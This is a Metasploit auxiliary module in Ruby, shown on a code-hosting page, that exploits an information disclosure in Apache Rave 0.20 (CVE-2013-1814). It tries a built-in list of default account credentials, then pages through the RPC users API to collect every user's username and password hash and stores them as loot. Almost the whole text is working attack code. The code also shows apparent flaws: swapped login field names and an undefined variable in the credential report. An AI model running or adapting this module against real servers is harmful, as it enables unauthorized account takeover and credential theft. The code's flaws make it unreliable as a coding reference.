Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/apache_rave_creds.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Apache Rave User Information Disclosure',
15
'Description' => %q{
16
This module exploits an information disclosure in Apache Rave 0.20 and prior. The
17
vulnerability exists in the RPC API, which allows any authenticated user to
18
disclose information about all the users, including their password hashes. In order
19
to authenticate, the user can provide his own credentials. Also the default users
20
installed with Apache Rave 0.20 will be tried automatically. This module has been
21
successfully tested on Apache Rave 0.20.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Andreas Guth', # Vulnerability discovery and PoC
26
'juan vazquez' # Metasploit module
27
],
28
'References' => [
29
[ 'CVE', '2013-1814' ],
30
[ 'OSVDB', '91235' ],
31
[ 'BID', '58455' ],
32
[ 'EDB', '24744']
33
],
34
'Notes' => {
35
'Reliability' => UNKNOWN_RELIABILITY,
36
'Stability' => UNKNOWN_STABILITY,
37
'SideEffects' => UNKNOWN_SIDE_EFFECTS
38
}
39
)
40
)
41
42
register_options(
43
[
44
Opt::RPORT(8080),
45
OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']),
46
OptString.new('USERNAME', [ false, 'Apache Rave Username' ]),
47
OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]),
48
]
49
)
50
end
51
52
def post_auth?
53
true
54
end
55
56
def login(username, password)
57
uri = normalize_uri(target_uri.to_s, "j_spring_security_check")
58
59
res = send_request_cgi({
60
'uri' => uri,
61
'method' => 'POST',
62
'vars_post' => {
63
'j_password' => username,
64
'j_username' => password
65
}
66
})
67
68
if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/
69
return $1
70
else
71
return nil
72
end
73
end
74
75
def disclose(cookie, offset)
76
uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get")
77
78
res = send_request_cgi({
79
'uri' => uri,
80
'method' => 'GET',
81
'vars_get' => {
82
'offset' => "#{offset}"
83
},
84
'cookie' => "JSESSIONID=#{cookie}"
85
})
86
87
if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/json/ and res.body =~ /resultSet/
88
return res.body
89
else
90
return nil
91
end
92
end
93
94
def setup
95
# Default accounts installed and enabled on Apache Rave 0.20
96
@default_accounts = {
97
"canonical" => "canonical",
98
"john.doe" => "john.doe",
99
"jane.doe" => "jane.doe",
100
"johnldap" => "johnldap",
101
"four.col" => "four.col",
102
"fourwn.col" => "fourwn.col",
103
"george.doe" => "george.doe",
104
"maija.m" => "maija.m",
105
"mario.rossi" => "mario.rossi",
106
"one.col" => "one.col",
107
"three.col" => "three.col",
108
"threewn.col" => "threewn.col",
109
"twown.col" => "twown.col"
110
}
111
end
112
113
def report_cred(opts)
114
service_data = {
115
address: opts[:ip],
116
port: opts[:port],
117
service_name: opts[:service_name],
118
protocol: 'tcp',
119
workspace_id: myworkspace_id
120
}
121
122
credential_data = {
123
origin_type: :service,
124
module_fullname: fullname,
125
username: opts[:user],
126
private_data: opts[:password],
127
private_type: :password
128
}.merge(service_data)
129
130
login_data = {
131
core: create_credential(credential_data),
132
status: Metasploit::Model::Login::Status::UNTRIED,
133
proof: opts[:proof]
134
}.merge(service_data)
135
136
create_credential_login(login_data)
137
end
138
139
def run
140
print_status("#{rhost}:#{rport} - Fingerprinting...")
141
res = send_request_cgi({
142
'uri' => normalize_uri(target_uri.to_s, "login"),
143
'method' => 'GET',
144
})
145
146
if not res
147
print_error("#{rhost}:#{rport} - No response, aborting...")
148
return
149
elsif res.code == 200 and res.body =~ /<span>Apache Rave ([0-9\.]*)<\/span>/
150
version = $1
151
if version <= "0.20"
152
print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...")
153
else
154
print_error("#{rhost}:#{rport} - Apache Rave #{version} found. Not vulnerable. Aborting...")
155
return
156
end
157
else
158
print_warning("#{rhost}:#{rport} - Apache Rave Portal not found, trying to log-in anyway...")
159
end
160
161
cookie = nil
162
unless datastore["USERNAME"].empty? or datastore["PASSWORD"].empty?
163
print_status("#{rhost}:#{rport} - Login with the provided credentials...")
164
cookie = login(datastore["USERNAME"], datastore["PASSWORD"])
165
if cookie.nil?
166
print_error("#{rhost}:#{rport} - Login failed")
167
else
168
print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
169
end
170
end
171
172
if cookie.nil?
173
print_status("#{rhost}:#{rport} - Login with default accounts...")
174
@default_accounts.each { |user, password|
175
print_status("#{rhost}:#{rport} - Login with the #{user} default account...")
176
cookie = login(user, password)
177
unless cookie.nil?
178
print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
179
break
180
end
181
}
182
end
183
184
if cookie.nil?
185
print_error("#{rhost}:#{rport} - Login failed. Aborting...")
186
return
187
end
188
189
print_status("#{rhost}:#{rport} - Disclosing information...")
190
offset = 0
191
search = true
192
193
while search
194
print_status("#{rhost}:#{rport} - Disclosing offset #{offset}...")
195
users_data = disclose(cookie, offset)
196
if users_data.nil?
197
print_error("#{rhost}:#{rport} - Disclosure failed. Aborting...")
198
return
199
else
200
print_good("#{rhost}:#{rport} - Disclosure successful")
201
end
202
203
json_info = JSON.parse(users_data)
204
205
path = store_loot(
206
'apache.rave.users',
207
'application/json',
208
rhost,
209
users_data,
210
nil,
211
"Apache Rave Users Database Offset #{offset}"
212
)
213
print_status("#{rhost}:#{rport} - Information for offset #{offset} saved in: #{path}")
214
215
print_status("#{rhost}:#{rport} - Recovering Hashes...")
216
json_info["result"]["resultSet"].each { |result|
217
print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
218
report_cred(
219
ip: rhost,
220
port: rport,
221
service_name: 'Apache Rave',
222
user: result["username"],
223
password: result["password"],
224
proof: user_data
225
)
226
}
227
228
page = json_info["result"]["currentPage"]
229
total_pages = json_info["result"]["numberOfPages"]
230
offset = offset + json_info["result"]["pageSize"]
231
if page == total_pages
232
search = false
233
end
234
235
end
236
end
237
end
238
239